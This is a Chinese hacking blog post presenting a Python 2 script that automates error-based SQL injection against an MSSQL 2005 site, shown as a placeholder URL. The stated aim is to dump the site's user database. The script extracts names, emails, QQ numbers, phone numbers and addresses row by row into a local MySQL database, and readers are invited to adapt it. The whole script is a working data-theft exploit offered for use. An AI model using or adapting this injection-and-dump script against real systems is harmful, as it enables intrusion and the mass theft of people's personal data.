Python in Hacking[注射-拖库-写库一条龙服务脚本]

时间：2022-09-05 16:38:17

 P.S:搞一站,目的脱裤,一个MSSQL2005点,不支持Union查询,只要有Cast()就报错,所以就直接写脚本拖库了
此脚本可以直接从抓去页面爆出的数据写入到本地Mysql数据库里~
和上回一样,没来的及完善成通用版本,会Python的稍微改改就好~

复制代码务必在普通IE下复制~

Python in Hacking[注射-拖库-写库一条龙服务脚本]

  
 
 
    

  1. #!/usr/bin/python  
    2. 
   
  
  
  2. #encoding=utf-8 
    3. 
   
  
  
  3. ############################################ 
    4. 
   
  
  
  4. #          Coder:Pnig0s1992 
    5. 
   
  
  
  5. # Auto Dump the Data by using SQLinjection  
    6. 
   
  
  
  6. #      GTalk:pnigos70@gmail.com 
    7. 
   
  
  
  7. #           QQ:459933916        
    8. 
   
  
  
  8. #Blog:[url=http://pnig0s1992.blog.51cto.com/]http://pnig0s1992.blog.51cto.com/[/url] 
    9. 
   
  
  
  9. # 
    10. 
   
  
  
  10. ############################################ 
    11. 
   
  
  
  11. import urllib 
    12. 
   
  
  
  12. import MySQLdb 
    13. 
   
  
  
  13. import sys 
    14. 
   
  
  
  14. def getData(count,val): 
    15. 
   
  
  
  15.     tempurl="http://www.xxx.com/xxx.aspx?keyWord=1' and (select top 1 quotename(cast("+val+" as varchar(8000))) from xxx.dbo.xxx where cast("+val+" as varchar) not in (select top "+str(count)+" \ 
    16. 
   
  
  
  16.     cast("+val+" as varchar) from xxx.dbo.xxx))=0--" 
    17. 
   
  
  
  17.     quoteUrl=urllib.quote_plus(tempurl,safe='\':/?-&*.=-()') 
    18. 
   
  
  
  18.     feed = urllib.urlopen(quoteUrl) 
    19. 
   
  
  
  19.     getItem = feed.read(2048) 
    20. 
   
  
  
  20.     IBegin = getItem.find('[')+1 
    21. 
   
  
  
  21.     IEnd = getItem.find(']') 
    22. 
   
  
  
  22.     data = getItem[IBegin:IEnd].strip() 
    23. 
   
  
  
  23.     feed.close() 
    24. 
   
  
  
  24.     return data 
    25. 
   
  
  
  25.  
    26. 
   
  
  
  26. if __name__ == "__main__": 
    27. 
   
  
  
  27.     print "\t\tCode by:Pnig0s1992\t\t" 
    28. 
   
  
  
  28.     print "\t\tGTalk:pnigos70@gmail.com\t\t" 
    29. 
   
  
  
  29.     print "\t\tQQ:459933916\t\t" 
    30. 
   
  
  
  30.     url="http://www.xxx.com/xxx.aspx?keyWord=1' \ 
    31. 
   
  
  
  31.     and (select quotename(count(*)) from xxx.dbo.xxx)=0--" 
    32. 
   
  
  
  32.     enurl = urllib.quote_plus(url,safe='\':/?-&*.=-()') 
    33. 
   
  
  
  33.     fd = urllib.urlopen(enurl) 
    34. 
   
  
  
  34.     getSum = fd.read(2048) 
    35. 
   
  
  
  35.     Begin = getSum.find('[')+1 
    36. 
   
  
  
  36.     End = getSum.find(']') 
    37. 
   
  
  
  37.     print "%s 's items for all" % getSum[Begin:End] 
    38. 
   
  
  
  38.     print "Holding for dumping...." 
    39. 
   
  
  
  39.     for count in xrange(0,1012750): 
    40. 
   
  
  
  40.         print "The No.%d items:" % (count+1) 
    41. 
   
  
  
  41.         sname = getData(count,'SNAME') 
    42. 
   
  
  
  42.         print "Name:%s" % sname 
    43. 
   
  
  
  43.         content = getData(count,'CONTENT') 
    44. 
   
  
  
  44.         print "Content:%s" % content 
    45. 
   
  
  
  45.         sex = getData(count,'G_SEX') 
    46. 
   
  
  
  46.         print "Sex:%s" % sex 
    47. 
   
  
  
  47.         g_mail = getData(count,'G_MAIL') 
    48. 
   
  
  
  48.         print "Email:%s" % g_mail 
    49. 
   
  
  
  49.         g_qq = getData(count,'G_QQ') 
    50. 
   
  
  
  50.         print "QQ:%s" % g_qq 
    51. 
   
  
  
  51.         g_sj = getData(count,'G_SJ') 
    52. 
   
  
  
  52.         print "MobilPhone:%s" % g_sj 
    53. 
   
  
  
  53.         g_tel = getData(count,'G_TEL') 
    54. 
   
  
  
  54.         print "Tel:%s" % g_tel 
    55. 
   
  
  
  55.         g_adds = getData(count,'G_ADDS') 
    56. 
   
  
  
  56.         print "Address:%s" % g_adds 
    57. 
   
  
  
  57.         g_post = getData(count,'G_POST') 
    58. 
   
  
  
  58.         print "PostalNum:%s" % g_post 
    59. 
   
  
  
  59.         g_time = getData(count,'G_TIME') 
    60. 
   
  
  
  60.         print "Date:%s" % g_time 
    61. 
   
  
  
  61.         g_url = getData(count,'G_URL') 
    62. 
   
  
  
  62.         print "Url:%s" % g_url 
    63. 
   
  
  
  63.         try: 
    64. 
   
  
  
  64.             conn = MySQLdb.connect(host="localhost",port=3306,user="root",passwd="root",db="data") 
    65. 
   
  
  
  65.         except Exception,e: 
    66. 
   
  
  
  66.             print "Connect database failed." 
    67. 
   
  
  
  67.             sys.exit() 
    68. 
   
  
  
  68.         cursor = conn.cursor() 
    69. 
   
  
  
  69.         sql = "insert into xxxdata(SNAME,CONTENT,G_sex,G_mail,G_QQ,G_SJ,G_Tel,G_adds,G_post,G_time,\ 
    70. 
   
  
  
  70.                G_url) values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')" % (sname,content,sex,g_mail,g_qq,g_sj,g_tel,g_adds,g_post,g_time,g_url) 
    71. 
   
  
  
  71.         try: 
    72. 
   
  
  
  72.             cursor.execute(sql) 
    73. 
   
  
  
  73.         except Exception,e: 
    74. 
   
  
  
  74.             print "Insert data failed" 
    75. 
   
  
  
  75.             sys.exit() 
    76. 
   
  
  
  76.         print "Current items has been written to database." 
    77. 
   
  
  
  77.         print "" 
    78.

 

本文出自 “About:Blank H4cking” 博客，请务必保留此出处http://pnig0s1992.blog.51cto.com/393390/475733

标签：

相关文章